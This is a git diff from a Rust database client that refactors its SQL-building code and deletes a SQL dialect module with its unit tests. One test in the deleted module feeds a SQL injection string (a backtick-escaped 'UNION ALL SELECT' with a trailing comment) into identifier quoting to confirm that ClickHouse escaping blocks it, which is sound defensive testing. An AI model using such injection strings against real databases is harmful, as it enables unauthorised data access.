col.comment = Some("primary contact".into()); - let stmts = build_alter_column("postgres", Some("public"), "users", &col).unwrap(); + let stmts = build_alter_column("postgres", &ansi(), Some("public"), "users", &col).unwrap(); assert_eq!( stmts, @@ -2460,7 +2340,7 @@ mod tests { let mut col = edited_with_comment("email", "text", "primary contact"); col.comment = None; - let stmts = build_alter_column("postgres", None, "users", &col).unwrap(); + let stmts = build_alter_column("postgres", &ansi(), None, "users", &col).unwrap(); assert_eq!(stmts, vec!["COMMENT ON COLUMN \"users\".\"email\" IS NULL".to_owned()]); } @@ -2472,7 +2352,7 @@ mod tests { assert!(!col.differs_beyond_name()); assert!(matches!( - build_alter_column("postgres", None, "users", &col), + build_alter_column("postgres", &ansi(), None, "users", &col), Err(BuildDdlError::NoChange) )); } @@ -2482,7 +2362,7 @@ mod tests { let col = edited_with_comment("email", "text", "primary contact"); assert!(matches!( - build_alter_column("postgres", None, "users", &col), + build_alter_column("postgres", &ansi(), None, "users", &col), Err(BuildDdlError::NoChange) )); } @@ -2491,7 +2371,7 @@ mod tests { fn mysql_carries_the_comment_on_the_column_definition() { let col = commented(nn(dc("email", "VARCHAR(255)")), "primary contact"); - let stmts = build_alter_column("mysql", None, "users", &col).unwrap(); + let stmts = build_alter_column("mysql", &ansi(), None, "users", &col).unwrap(); assert_eq!( stmts, @@ -2506,7 +2386,7 @@ mod tests { let mut col = edited_with_comment("email", "text", "primary contact"); col.nullable = false; - let stmts = build_alter_column("mysql", None, "users", &col).unwrap(); + let stmts = build_alter_column("mysql", &ansi(), None, "users", &col).unwrap(); assert!(stmts[0].ends_with("COMMENT 'primary contact'")); } @@ -2518,7 +2398,7 @@ mod tests { // the statement into the literal. let col = commented(dc("path", "TEXT"), "ends with a backslash \\"); - let stmts = build_alter_column("mysql", None, "t", &col).unwrap(); + let stmts = build_alter_column("mysql", &ansi(), None, "t", &col).unwrap(); assert!(stmts[0].ends_with("COMMENT 'ends with a backslash \\\\'")); } @@ -2527,7 +2407,7 @@ mod tests { fn a_quote_in_a_comment_is_doubled() { let col = commented(dc("note", "text"), "o'brien"); - let stmts = build_alter_column("postgres", None, "t", &col).unwrap(); + let stmts = build_alter_column("postgres", &ansi(), None, "t", &col).unwrap(); assert!(stmts.iter().any(|sql| sql.contains("IS 'o''brien'"))); } @@ -2566,7 +2446,7 @@ mod tests { fn mssql_adds_a_description_the_column_did_not_have() { let col = commented(edited("email", "nvarchar(255)"), "primary contact"); - let stmts = build_alter_column("mssql", Some("dbo"), "users", &col).unwrap(); + let stmts = build_alter_column("mssql", &ansi(), Some("dbo"), "users", &col).unwrap(); assert_eq!(stmts.len(), 1); assert!(stmts[0].contains("DECLARE @comment_schema sysname = N'dbo';")); @@ -2580,7 +2460,7 @@ mod tests { let mut col = edited_with_comment("email", "nvarchar(255)", "old text"); col.comment = Some("new text".into()); - let stmts = build_alter_column("mssql", None, "users", &col).unwrap(); + let stmts = build_alter_column("mssql", &ansi(), None, "users", &col).unwrap(); assert!(stmts[0].contains("DECLARE @comment_schema sysname = SCHEMA_NAME();")); assert!(stmts[0].contains("EXEC sp_updateextendedproperty")); @@ -2592,7 +2472,7 @@ mod tests { let mut col = edited_with_comment("email", "nvarchar(255)", "old text"); col.comment = None; - let stmts = build_alter_column("mssql", None, "users", &col).unwrap(); + let stmts = build_alter_column("mssql", &ansi(), None, "users", &col).unwrap(); assert!(stmts[0].contains("EXEC sp_dropextendedproperty @name = N'MS_Description'")); assert!(!stmts[0].contains("@value")); diff --git a/linux/crates/core/src/sql_dialect.rs b/linux/crates/core/src/sql_dialect.rs deleted file mode 100644 index 76c45a87ec..0000000000 --- a/linux/crates/core/src/sql_dialect.rs +++ /dev/null @@ -1,631 +0,0 @@ -use thiserror::Error; - -use crate::{ColumnInfo, Value}; - -#[derive(Debug, Error)] -pub enum BuildSqlError { - #[error("table has no primary key")] - NoPrimaryKey, - - #[error("nothing to update")] - NothingToUpdate, - - #[error("new_values length {got} does not match columns length {expected}")] - LengthMismatch { expected: usize, got: usize }, -} - -pub fn quote_ident(driver_id: &str, name: &str) -> String { - match driver_id { - "mysql" => format!("`{}`", name.replace('`', "``")), - "clickhouse" => quote_clickhouse_ident(name), - "mssql" => format!("[{}]", name.replace(']', "]]")), - _ => format!("\"{}\"", name.replace('"', "\"\"")), - } -} - -/// ClickHouse's lexer reads a backslash inside backticks as an escape, -/// so doubling the delimiter alone lets `\`` close the identifier early. -fn quote_clickhouse_ident(name: &str) -> String { - let mut quoted = String::with_capacity(name.len() + 2); - quoted.push('`'); - for ch in name.chars() { - if matches!(ch, '\\' | '\'' | '`' | '\t' | '\n') { - quoted.push('\\'); - } - quoted.push(ch); - } - quoted.push('`'); - quoted -} - -pub fn placeholder_for(driver_id: &str, index: usize) -> String { - match driver_id { - "postgres" => format!("${}", index + 1), - "mssql" => format!("@P{}", index + 1), - _ => "?".to_string(), - } -} - -/// Render an `UPDATE`. ClickHouse only accepted standard `UPDATE` -/// syntax from 25.7; the spelling that works across every supported -/// release is `ALTER TABLE … UPDATE`, which the server applies as a -/// mutation. `qualified_table`, `set_clause` and `where_clause` are -/// pre-built SQL, not identifiers. -pub fn build_update(driver_id: &str, qualified_table: &str, set_clause: &str, where_clause: &str) -> String { - match driver_id { - "clickhouse" => format!("ALTER TABLE {qualified_table} UPDATE {set_clause} WHERE {where_clause}"), - _ => format!("UPDATE {qualified_table} SET {set_clause} WHERE {where_clause}"), - } -} - -/// Render the `ORDER BY` and row-window tail of a paged `SELECT`, -/// including the leading space. The two clauses are built together -/// because SQL Server couples them: `OFFSET … FETCH` is defined as a -/// suffix of `ORDER BY`, so a paged query with no user sort still -/// needs one. `(SELECT NULL)` is the no-op ordering that satisfies the -/// parser without imposing a sort the user did not ask for. -/// -/// `order_by` is pre-quoted SQL (`"name" ASC, "id" DESC`), not an -/// identifier. -pub fn build_order_and_pagination(driver_id: &str, order_by: Option<&str>, limit: u64, offset: u64) -> String { - let order_by = order_by.map(str::trim).filter(|o| !o.is_empty()); - if driver_id == "mssql" { - let order = order_by.unwrap_or("(SELECT NULL)"); - return format!(" ORDER BY {order} OFFSET {offset} ROWS FETCH NEXT {limit} ROWS ONLY"); - } - match order_by { - Some(order) => format!(" ORDER BY {order} LIMIT {limit} OFFSET {offset}"), - None => format!(" LIMIT {limit} OFFSET {offset}"), - } -} - -pub fn build_single_cell_update( - driver_id: &str, - table: &str, - columns: &[ColumnInfo], - original_row: &[Value], - col_index: usize, - new_value: Value, -) -> Result<(String, Vec), BuildSqlError> { - let pk_indexes = collect_pk_indexes(columns); - if pk_indexes.is_empty() { - return Err(BuildSqlError::NoPrimaryKey); - } - if original_row.len() != columns.len() { - return Err(BuildSqlError::LengthMismatch { - expected: columns.len(), - got: original_row.len(), - }); - } - - let mut params: Vec = Vec::with_capacity(1 + pk_indexes.len()); - let mut placeholder_idx = 0; - - let set_clause = format!( - "{} = {}", - quote_ident(driver_id, &columns[col_index].name), - placeholder_for(driver_id, placeholder_idx) - ); - placeholder_idx += 1; - params.push(new_value); - - let where_clause = build_where_clause( - driver_id, - columns, - &pk_indexes, - original_row, - &mut placeholder_idx, - &mut params, - ); - - let sql = build_update(driver_id, "e_ident(driver_id, table), &set_clause, &where_clause); - Ok((sql, params)) -} - -pub fn build_full_row_update( - driver_id: &str, - table: &str, - columns: &[ColumnInfo], - original_row: &[Value], - new_values: &[Value], -) -> Result<(String, Vec), BuildSqlError> { - let pk_indexes = collect_pk_indexes(columns); - if pk_indexes.is_empty() { - return Err(BuildSqlError::NoPrimaryKey); - } - if new_values.len() != columns.len() { - return Err(BuildSqlError::LengthMismatch { - expected: columns.len(), - got: new_values.len(), - }); - } - if original_row.len() != columns.len() { - return Err(BuildSqlError::LengthMismatch { - expected: columns.len(), - got: original_row.len(), - }); - } - - let mut params: Vec = Vec::new(); - let mut placeholder_idx = 0; - - let mut set_clauses = Vec::new(); - for (i, col) in columns.iter().enumerate() { - if col.primary_key { - continue; - } - set_clauses.push(format!( - "{} = {}", - quote_ident(driver_id, &col.name), - placeholder_for(driver_id, placeholder_idx) - )); - placeholder_idx += 1; - params.push(new_values[i].clone()); - } - if set_clauses.is_empty() { - return Err(BuildSqlError::NothingToUpdate); - } - - let where_clause = build_where_clause( - driver_id, - columns, - &pk_indexes, - original_row, - &mut placeholder_idx, - &mut params, - ); - - let sql = build_update( - driver_id, - "e_ident(driver_id, table), - &set_clauses.join(", "), - &where_clause, - ); - Ok((sql, params)) -} - -/// Build an INSERT for a draft row collected by the inline-edit -/// changeset. Skips auto-increment columns and generated columns -/// entirely (the database supplies their values). For nullable -/// columns whose `Value` is `Null` AND have a `default_value`, -/// also skip the column so the server applies its default rather -/// than receiving an explicit NULL. -pub fn build_insert_from_draft( - driver_id: &str, - schema: Option<&str>, - table: &str, - columns: &[ColumnInfo], - values: &[Value], -) -> Result<(String, Vec), BuildSqlError> { - if columns.len() != values.len() { - return Err(BuildSqlError::LengthMismatch { - expected: columns.len(), - got: values.len(), - }); - } - let mut col_idents: Vec = Vec::new(); - let mut placeholders: Vec = Vec::new(); - let mut params: Vec = Vec::new(); - for (i, col) in columns.iter().enumerate() { - if col.is_auto_increment || col.is_generated { - continue; - } - let value_is_null = matches!(values[i], Value::Null); - if value_is_null && !col.default.is_none() { - // Let the server apply its default rather than overriding - // it with an explicit NULL — matters when the default is - // CURRENT_TIMESTAMP, gen_random_uuid(), etc. - continue; - } - col_idents.push(quote_ident(driver_id, &col.name)); - placeholders.push(placeholder_for(driver_id, params.len())); - params.push(values[i].clone()); - } - if col_idents.is_empty() { - return Err(BuildSqlError::NothingToUpdate); - } - let qualified = match schema { - Some(s) => format!("{}.{}", quote_ident(driver_id, s), quote_ident(driver_id, table)), - None => quote_ident(driver_id, table), - }; - let sql = format!( - "INSERT INTO {} ({}) VALUES ({})", - qualified, - col_idents.join(", "), - placeholders.join(", ") - ); - Ok((sql, params)) -} - -fn collect_pk_indexes(columns: &[ColumnInfo]) -> Vec { - columns - .iter() - .enumerate() - .filter(|(_, c)| c.primary_key) - .map(|(i, _)| i) - .collect() -} - -fn build_where_clause( - driver_id: &str, - columns: &[ColumnInfo], - pk_indexes: &[usize], - original_row: &[Value], - placeholder_idx: &mut usize, - params: &mut Vec, -) -> String { - let mut clauses = Vec::with_capacity(pk_indexes.len()); - for pk_col in pk_indexes { - let ident = quote_ident(driver_id, &columns[*pk_col].name); - // SQL three-valued logic: `col = NULL` is never true. A nullable - // PK component holding NULL must use `IS NULL` or the UPDATE / - // DELETE silently matches zero rows. - if matches!(original_row[*pk_col], Value::Null) { - clauses.push(format!("{ident} IS NULL")); - } else { - clauses.push(format!("{ident} = {}", placeholder_for(driver_id, *placeholder_idx))); - *placeholder_idx += 1; - params.push(original_row[*pk_col].clone()); - } - } - clauses.join(" AND ") -} - -#[cfg(test)] -mod tests { - use crate::column::{CatalogType, ColumnKind, ColumnType, ReadForm, SqlTypeExpr, TextKind}; - - /// A column type carrying only the server's spelling, which is all - /// these builders read. - fn test_column_type(name: &str) -> ColumnType { - ColumnType::new( - SqlTypeExpr::from_catalog_text(name), - ColumnKind::Text(TextKind::Variable), - CatalogType::Unknown, - true, - ReadForm::Native, - ) - } - - use super::*; - - fn col(name: &str, pk: bool) -> ColumnInfo { - ColumnInfo { - name: name.into(), - column_type: test_column_type("text"), - nullable: false, - primary_key: pk, - is_auto_increment: false, - default: crate::column::ColumnDefault::None, - is_generated: false, - comment: None, - } - } - - #[test] - fn quote_ident_dialect() { - assert_eq!(quote_ident("postgres", "users"), "\"users\""); - assert_eq!(quote_ident("sqlite", "users"), "\"users\""); - assert_eq!(quote_ident("mysql", "users"), "`users`"); - assert_eq!(quote_ident("clickhouse", "users"), "`users`"); - assert_eq!(quote_ident("clickhouse", "a`b"), r"`a\`b`"); - } - - #[test] - fn quote_ident_doubles_embedded_delimiter() { - assert_eq!(quote_ident("postgres", "foo\"bar"), "\"foo\"\"bar\""); - assert_eq!(quote_ident("mysql", "foo`bar"), "`foo``bar`"); - } - - #[test] - fn quote_ident_clickhouse_escapes_backslash_and_delimiters() { - assert_eq!(quote_ident("clickhouse", r"a\"), r"`a\\`"); - assert_eq!( - quote_ident("clickhouse", r"x\` UNION ALL SELECT 1 --"), - r"`x\\\` UNION ALL SELECT 1 --`" - ); - assert_eq!(quote_ident("clickhouse", "a`b"), r"`a\`b`"); - assert_eq!(quote_ident("clickhouse", "o'k"), r"`o\'k`"); - assert_eq!(quote_ident("clickhouse", "a\tb\nc"), "`a\\\tb\\\nc`"); - } - - #[test] - fn quote_ident_mysql_still_doubles_backticks() { - assert_eq!(quote_ident("mysql", r"a`b\c"), r"`a``b\c`"); - } - - #[test] - fn quote_ident_mssql() { - assert_eq!(quote_ident("mssql", "users"), "[users]"); - assert_eq!(quote_ident("mssql", "a]b"), "[a]]b]"); - } - - #[test] - fn placeholder_dialect() { - assert_eq!(placeholder_for("postgres", 0), "$1"); - assert_eq!(placeholder_for("postgres", 2), "$3"); - assert_eq!(placeholder_for("sqlite", 0), "?"); - assert_eq!(placeholder_for("mysql", 5), "?"); - } - - #[test] - fn placeholder_mssql() { - assert_eq!(placeholder_for("mssql", 0), "@P1"); - assert_eq!(placeholder_for("mssql", 2), "@P3"); - } - - #[test] - fn pagination_limit_offset_dialects() { - assert_eq!( - build_order_and_pagination("postgres", None, 50, 100), - " LIMIT 50 OFFSET 100" - ); - assert_eq!( - build_order_and_pagination("mysql", Some("`a` ASC"), 50, 100), - " ORDER BY `a` ASC LIMIT 50 OFFSET 100" - ); - assert_eq!( - build_order_and_pagination("sqlite", Some("\"a\" DESC"), 10, 0), - " ORDER BY \"a\" DESC LIMIT 10 OFFSET 0" - ); - } - - #[test] - fn pagination_mssql_uses_offset_fetch() { - assert_eq!( - build_order_and_pagination("mssql", Some("[a] ASC"), 50, 100), - " ORDER BY [a] ASC OFFSET 100 ROWS FETCH NEXT 50 ROWS ONLY" - ); - } - - #[test] - fn pagination_mssql_synthesizes_order_by_when_unsorted() { - // OFFSET / FETCH is a suffix of ORDER BY in T-SQL, so an - // unsorted page still needs one to parse at all. - let sql = build_order_and_pagination("mssql", None, 50, 0); - assert_eq!(sql, " ORDER BY (SELECT NULL) OFFSET 0 ROWS FETCH NEXT 50 ROWS ONLY"); - } - - #[test] - fn pagination_treats_blank_order_by_as_absent() { - assert_eq!( - build_order_and_pagination("postgres", Some(" "), 5, 0), - " LIMIT 5 OFFSET 0" - ); - assert_eq!( - build_order_and_pagination("mssql", Some(" "), 5, 0), - " ORDER BY (SELECT NULL) OFFSET 0 ROWS FETCH NEXT 5 ROWS ONLY" - ); - } - - #[test] - fn single_cell_update_postgres() { - let columns = vec![col("id", true), col("name", false)]; - let original = vec![Value::Int(7), Value::Text("alice".into())]; - let (sql, params) = - build_single_cell_update("postgres", "u", &columns, &original, 1, Value::Text("bob".into())).unwrap(); - assert_eq!(sql, "UPDATE \"u\" SET \"name\" = $1 WHERE \"id\" = $2"); - assert_eq!(params, vec![Value::Text("bob".into()), Value::Int(7)]); - } - - #[test] - fn single_cell_update_mysql() { - let columns = vec![col("id", true), col("name", false)]; - let original = vec![Value::Int(7), Value::Text("alice".into())]; - let (sql, params) = - build_single_cell_update("mysql", "u", &columns, &original, 1, Value::Text("bob".into())).unwrap(); - assert_eq!(sql, "UPDATE `u` SET `name` = ? WHERE `id` = ?"); - assert_eq!(params, vec![Value::Text("bob".into()), Value::Int(7)]); - } - - #[test] - fn single_cell_update_clickhouse() { - let columns = vec![col("id", true), col("name", false)]; - let original = vec![Value::Int(7), Value::Text("alice".into())]; - let (sql, params) = - build_single_cell_update("clickhouse", "u", &columns, &original, 1, Value::Text("bob".into())).unwrap(); - assert_eq!(sql, "ALTER TABLE `u` UPDATE `name` = ? WHERE `id` = ?"); - assert_eq!(params, vec![Value::Text("bob".into()), Value::Int(7)]); - } - - #[test] - fn full_row_update_clickhouse() { - let columns = vec![col("id", true), col("a", false), col("b", false)]; - let original = vec![Value::Int(1), Value::Text("x".into()), Value::Text("y".into())]; - let new_values = vec![Value::Int(1), Value::Text("x2".into()), Value::Text("y2".into())]; - let (sql, _) = build_full_row_update("clickhouse", "t", &columns, &original, &new_values).unwrap(); - assert_eq!(sql, "ALTER TABLE `t` UPDATE `a` = ?, `b` = ? WHERE `id` = ?"); - } - - #[test] - fn build_update_keeps_standard_syntax_for_other_dialects() { - assert_eq!( - build_update("postgres", "\"t\"", "\"a\" = $1", "\"id\" = $2"), - "UPDATE \"t\" SET \"a\" = $1 WHERE \"id\" = $2" - ); - assert_eq!( - build_update("clickhouse", "`t`", "`a` = ?", "`id` = ?"), - "ALTER TABLE `t` UPDATE `a` = ? WHERE `id` = ?" - ); - } - - #[test] - fn single_cell_update_sqlite() { - let columns = vec![col("id", true), col("v", false)]; - let original = vec![Value::Int(1), Value::Text("a".into())]; - let (sql, _) = - build_single_cell_update("sqlite", "t", &columns, &original, 1, Value::Text("b".into())).unwrap(); - assert_eq!(sql, "UPDATE \"t\" SET \"v\" = ? WHERE \"id\" = ?"); - } - - #[test] - fn single_cell_update_mssql() { - let columns = vec![col("id", true), col("name", false)]; - let original = vec![Value::Int(7), Value::Text("alice".into())]; - let (sql, params) = - build_single_cell_update("mssql", "u", &columns, &original, 1, Value::Text("bob".into())).unwrap(); - assert_eq!(sql, "UPDATE [u] SET [name] = @P1 WHERE [id] = @P2"); - assert_eq!(params, vec![Value::Text("bob".into()), Value::Int(7)]); - } - - #[test] - fn single_cell_update_no_pk() { - let columns = vec![col("a", false), col("b", false)]; - let original = vec![Value::Int(1), Value::Int(2)]; - let err = build_single_cell_update("sqlite", "t", &columns, &original, 0, Value::Int(9)).unwrap_err(); - assert!(matches!(err, BuildSqlError::NoPrimaryKey)); - } - - #[test] - fn single_cell_update_composite_pk() { - let columns = vec![col("a", true), col("b", true), col("c", false)]; - let original = vec![Value::Int(1), Value::Int(2), Value::Text("x".into())]; - let (sql, params) = - build_single_cell_update("postgres", "t", &columns, &original, 2, Value::Text("y".into())).unwrap(); - assert_eq!(sql, "UPDATE \"t\" SET \"c\" = $1 WHERE \"a\" = $2 AND \"b\" = $3"); - assert_eq!(params.len(), 3); - } - - #[test] - fn full_row_update_skips_pk() { - let columns = vec![col("id", true), col("name", false), col("age", false)]; - let original = vec![Value::Int(3), Value::Text("a".into()), Value::Int(20)]; - let new_values = vec![Value::Int(3), Value::Text("b".into()), Value::Int(21)]; - let (sql, params) = build_full_row_update("mysql", "p", &columns, &original, &new_values).unwrap(); - assert_eq!(sql, "UPDATE `p` SET `name` = ?, `age` = ? WHERE `id` = ?"); - assert_eq!(params.len(), 3); - assert_eq!(params[2], Value::Int(3)); - } - - #[test] - fn full_row_update_length_mismatch() { - let columns = vec![col("id", true), col("v", false)]; - let original = vec![Value::Int(1), Value::Int(2)]; - let new_values = vec![Value::Int(1)]; - let err = build_full_row_update("postgres", "t", &columns, &original, &new_values).unwrap_err(); - assert!(matches!(err, BuildSqlError::LengthMismatch { expected: 2, got: 1 })); - } - - fn col_auto(name: &str) -> ColumnInfo { - ColumnInfo { - name: name.into(), - column_type: test_column_type("integer"), - nullable: false, - primary_key: true, - is_auto_increment: true, - default: crate::column::ColumnDefault::None, - is_generated: false, - comment: None, - } - } - - fn col_with_default(name: &str, default: &str) -> ColumnInfo { - ColumnInfo { - name: name.into(), - column_type: test_column_type("timestamp"), - nullable: true, - primary_key: false, - is_auto_increment: false, - default: crate::column::ColumnDefault::Expression(crate::column::SqlExpression::from_catalog_text(default)), - is_generated: false, - comment: None, - } - } - - fn col_generated(name: &str) -> ColumnInfo { - ColumnInfo { - name: name.into(), - column_type: test_column_type("integer"), - nullable: false, - primary_key: false, - is_auto_increment: false, - default: crate::column::ColumnDefault::None, - is_generated: true, - comment: None, - } - } - - #[test] - fn insert_from_draft_skips_auto_increment_pk() { - let columns = vec![col_auto("id"), col("name", false)]; - let values = vec![Value::Null, Value::Text("alice".into())]; - let (sql, params) = build_insert_from_draft("postgres", None, "users", &columns, &values).unwrap(); - assert_eq!(sql, "INSERT INTO \"users\" (\"name\") VALUES ($1)"); - assert_eq!(params, vec![Value::Text("alice".into())]); - } - - #[test] - fn insert_from_draft_skips_generated_columns() { - let columns = vec![col("a", false), col_generated("total"), col("b", false)]; - let values = vec![Value::Int(1), Value::Int(99), Value::Int(2)]; - let (sql, params) = build_insert_from_draft("mysql", None, "t", &columns, &values).unwrap(); - assert_eq!(sql, "INSERT INTO `t` (`a`, `b`) VALUES (?, ?)"); - assert_eq!(params, vec![Value::Int(1), Value::Int(2)]); - } - - #[test] - fn insert_from_draft_mssql() { - let columns = vec![col_auto("id"), col("name", false)]; - let values = vec![Value::Null, Value::Text("alice".into())]; - let (sql, params) = build_insert_from_draft("mssql", None, "users", &columns, &values).unwrap(); - assert_eq!(sql, "INSERT INTO [users] ([name]) VALUES (@P1)"); - assert_eq!(params, vec![Value::Text("alice".into())]); - } - - #[test] - fn insert_from_draft_omits_null_when_default_exists() { - // Cell is NULL and column has a server default (e.g., now()) → - // omit the column from INSERT so the server applies its default. - let columns = vec![col("name", false), col_with_default("created_at", "now()")]; - let values = vec![Value::Text("bob".into()), Value::Null]; - let (sql, _) = build_insert_from_draft("postgres", None, "u", &columns, &values).unwrap(); - assert_eq!(sql, "INSERT INTO \"u\" (\"name\") VALUES ($1)"); - } - - #[test] - fn insert_from_draft_keeps_explicit_null_without_default() { - let columns = vec![col("name", false), col("nickname", false)]; - let values = vec![Value::Text("bob".into()), Value::Null]; - let (sql, params) = build_insert_from_draft("postgres", None, "u", &columns, &values).unwrap(); - assert_eq!(sql, "INSERT INTO \"u\" (\"name\", \"nickname\") VALUES ($1, $2)"); - assert_eq!(params, vec![Value::Text("bob".into()), Value::Null]); - } - - #[test] - fn insert_from_draft_qualifies_with_schema() { - let columns = vec![col("id", true), col("name", false)]; - let values = vec![Value::Int(1), Value::Text("a".into())]; - let (sql, _) = build_insert_from_draft("postgres", Some("public"), "u", &columns, &values).unwrap(); - assert_eq!(sql, "INSERT INTO \"public\".\"u\" (\"id\", \"name\") VALUES ($1, $2)"); - } - - #[test] - fn where_clause_uses_is_null_for_null_pk_components() { - let columns = vec![col("a", true), col("b", true), col("c", false)]; - let original = vec![Value::Int(1), Value::Null, Value::Text("x".into())]; - let (sql, params) = - build_single_cell_update("postgres", "t", &columns, &original, 2, Value::Text("y".into())).unwrap(); - assert_eq!(sql, "UPDATE \"t\" SET \"c\" = $1 WHERE \"a\" = $2 AND \"b\" IS NULL"); - // params: new_value, plus the non-null PK component only — the NULL - // PK component does not consume a placeholder. - assert_eq!(params, vec![Value::Text("y".into()), Value::Int(1)]); - } - - #[test] - fn where_clause_all_null_pk_no_placeholders() { - let columns = vec![col("a", true), col("b", true), col("c", false)]; - let original = vec![Value::Null, Value::Null, Value::Text("x".into())]; - let (sql, params) = - build_single_cell_update("mysql", "t", &columns, &original, 2, Value::Text("y".into())).unwrap(); - assert_eq!(sql, "UPDATE `t` SET `c` = ? WHERE `a` IS NULL AND `b` IS NULL"); - assert_eq!(params, vec![Value::Text("y".into())]); - } - - #[test] - fn insert_from_draft_returns_error_when_only_auto_columns() { - let columns = vec![col_auto("id"), col_generated("calc")]; - let values = vec![Value::Null, Value::Null]; - let err = build_insert_from_draft("postgres", None, "t", &columns, &values).unwrap_err(); - assert!(matches!(err, BuildSqlError::NothingToUpdate)); - } -} diff --git a/linux/crates/core/src/sql_syntax/mod.rs b/linux/crates/core/src/sql_syntax/mod.rs index 8598f82951..578fac6610 100644 --- a/linux/crates/core/src/sql_syntax/mod.rs +++ b/linux/crates/core/src/sql_syntax/mod.rs @@ -1,7 +1,6 @@ mod errors; mod grammar; mod literal_token; -mod mysql_column_type; mod parse_expression; mod parse_type; pub mod script; @@ -9,6 +8,5 @@ pub mod script; pub use errors::{ExpressionSyntaxError, TypeSyntaxError}; pub use grammar::SqlGrammar; pub use literal_token::LiteralToken; -pub use mysql_column_type::{MySqlColumnTypeFacts, mysql_column_type}; pub use parse_expression::{MAX_EXPRESSION_LEN, ValidatedExpression, parse_expression}; pub use parse_type::{MAX_TYPE_LEN, TypeShape, ValidatedType, parse_type}; diff --git a/linux/crates/core/src/sql_syntax/mysql_column_type.rs b/linux/crates/core/src/sql_syntax/mysql_column_type.rs deleted file mode 100644 index 8d1c70c12c..0000000000 --- a/linux/crates/core/src/sql_syntax/mysql_column_type.rs +++ /dev/null @@ -1,108 +0,0 @@ -use sqlparser::parser::Parser; -use sqlparser::tokenizer::Token; - -use super::SqlGrammar; -use super::errors::TypeSyntaxError; -use super::parse_type::{MAX_TYPE_LEN, RECURSION_LIMIT, TypeShape, reject_comment_tokens, shape_of}; - -/// What MySQL's `information_schema.columns.column_type` says about a -/// column, which is more than `parse_type` can report because sqlparser -/// has no ZEROFILL keyword. -#[derive(Debug, Clone, PartialEq, Eq)] -pub struct MySqlColumnTypeFacts { - pub shape: TypeShape, - /// `zerofill` pads the displayed value with leading zeros and implies - /// UNSIGNED, so the grid right-aligns and the DDL keeps the keyword. - pub zerofill: bool, -} - -/// Parse a MySQL `column_type` string, consuming a trailing `zerofill` -/// that sqlparser 0.63.0 does not know. -pub fn mysql_column_type(column_type: &str) -> Result { - let text = column_type.trim(); - if text.is_empty() { - return Err(TypeSyntaxError::Empty); - } - if text.chars().count() > MAX_TYPE_LEN { - return Err(TypeSyntaxError::TooLong { max: MAX_TYPE_LEN }); - } - if reject_comment_tokens(SqlGrammar::MySql, text).is_err() && (text.contains("--") || text.contains("/*")) { - return Err(TypeSyntaxError::Comment); - } - - let mut parser = Parser::new(SqlGrammar::MySql.parser_dialect()) - .with_recursion_limit(RECURSION_LIMIT) - .try_with_sql(text) - .map_err(|error| TypeSyntaxError::Invalid(error.to_string()))?; - let parsed = parser - .parse_data_type() - .map_err(|error| TypeSyntaxError::Invalid(error.to_string()))?; - - // Exactly one unquoted `zerofill` may follow, and nothing after it. - let mut zerofill = false; - if let Token::Word(word) = &parser.peek_token_ref().token - && word.quote_style.is_none() - && word.value.eq_ignore_ascii_case("zerofill") - { - parser.next_token(); - zerofill = true; - } - if parser.peek_token_ref().token != Token::EOF { - return Err(TypeSyntaxError::Invalid("unexpected text after the type".to_owned())); - } - - Ok(MySqlColumnTypeFacts { - shape: shape_of(&parsed), - zerofill, - }) -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn mysql_column_type_zerofill_tail() { - let facts = mysql_column_type("int(10) unsigned zerofill").expect("int zerofill"); - assert_eq!(facts.shape, TypeShape::Named { unsigned: true }); - assert!(facts.zerofill); - - let facts = mysql_column_type("decimal(10,2) unsigned zerofill").expect("decimal zerofill"); - assert_eq!(facts.shape, TypeShape::Named { unsigned: true }); - assert!(facts.zerofill); - - for text in ["int zerofill zerofill", "int zerofill x"] { - let error = mysql_column_type(text).expect_err(text); - assert!(matches!(error, TypeSyntaxError::Invalid(_)), "{text}: {error:?}"); - } - } - - #[test] - fn a_type_without_the_tail_is_not_zerofill() { - let facts = mysql_column_type("varchar(255)").expect("varchar"); - - assert_eq!(facts.shape, TypeShape::Named { unsigned: false }); - assert!(!facts.zerofill); - } - - #[test] - fn a_quoted_zerofill_is_not_the_keyword() { - let error = mysql_column_type("int `zerofill`").expect_err("quoted tail"); - - assert!(matches!(error, TypeSyntaxError::Invalid(_)), "{error:?}"); - } - - #[test] - fn tinyint_display_width_survives_the_tail() { - let facts = mysql_column_type("tinyint(1) unsigned zerofill").expect("tinyint"); - - assert_eq!( - facts.shape, - TypeShape::TinyIntDisplayWidth { - width: Some(1), - unsigned: true - } - ); - assert!(facts.zerofill); - } -} diff --git a/linux/crates/core/src/sql_syntax/script/lexer.rs b/linux/crates/core/src/sql_syntax/script/lexer.rs index 85502e61dd..03a5f5f299 100644 --- a/linux/crates/core/src/sql_syntax/script/lexer.rs +++ b/linux/crates/core/src/sql_syntax/script/lexer.rs @@ -78,7 +78,10 @@ impl<'a> Lexer<'a> { b';' if delimiter.is_none() => self.plain(ScriptTokenKind::Semicolon, start + 1), b'(' => self.plain(ScriptTokenKind::OpenParen, start + 1), b')' => self.plain(ScriptTokenKind::CloseParen, start + 1), - b if b.is_ascii_digit() => self.plain(ScriptTokenKind::Number, self.word_end(start + 1, delimiter)), + b if b.is_ascii_digit() => self.plain(ScriptTokenKind::Number, self.number_end(start, delimiter)), + b'.' if next.is_some_and(|b| b.is_ascii_digit()) && !self.follows_dot(start) => { + self.plain(ScriptTokenKind::Number, self.number_end(start, delimiter)) + } b if self.is_word_start(b) => self.word(start, delimiter), _ => self.plain(ScriptTokenKind::Punct, start + 1), } @@ -299,6 +302,39 @@ impl<'a> Lexer<'a> { end } + /// A numeric constant as SQL spells it: digits, an optional fraction + /// and an optional exponent, so `0.5` and `1.5e-3` stay one token. + /// Letters and underscores glued on after that (`0x1F`, `1_000`, a + /// malformed `1abc`) stay part of it, as they did before. + fn number_end(&self, start: usize, delimiter: Option<&str>) -> usize { + let digit_at = |at: usize| self.bytes.get(at).is_some_and(u8::is_ascii_digit); + let mut end = start; + while digit_at(end) { + end += 1; + } + if self.bytes.get(end) == Some(&b'.') && self.bytes.get(end + 1) != Some(&b'.') { + end += 1; + while digit_at(end) { + end += 1; + } + } + if matches!(self.bytes.get(end), Some(b'e' | b'E')) { + let sign = usize::from(matches!(self.bytes.get(end + 1), Some(b'+' | b'-'))); + if digit_at(end + 1 + sign) { + end += 1 + sign; + while digit_at(end) { + end += 1; + } + } + } + self.word_end(end, delimiter) + } + + /// The second dot of a `1..2` range is punctuation, not the start of `.2`. + fn follows_dot(&self, at: usize) -> bool { + at.checked_sub(1).and_then(|before| self.bytes.get(before)) == Some(&b'.') + } + fn is_word_start(&self, b: u8) -> bool { 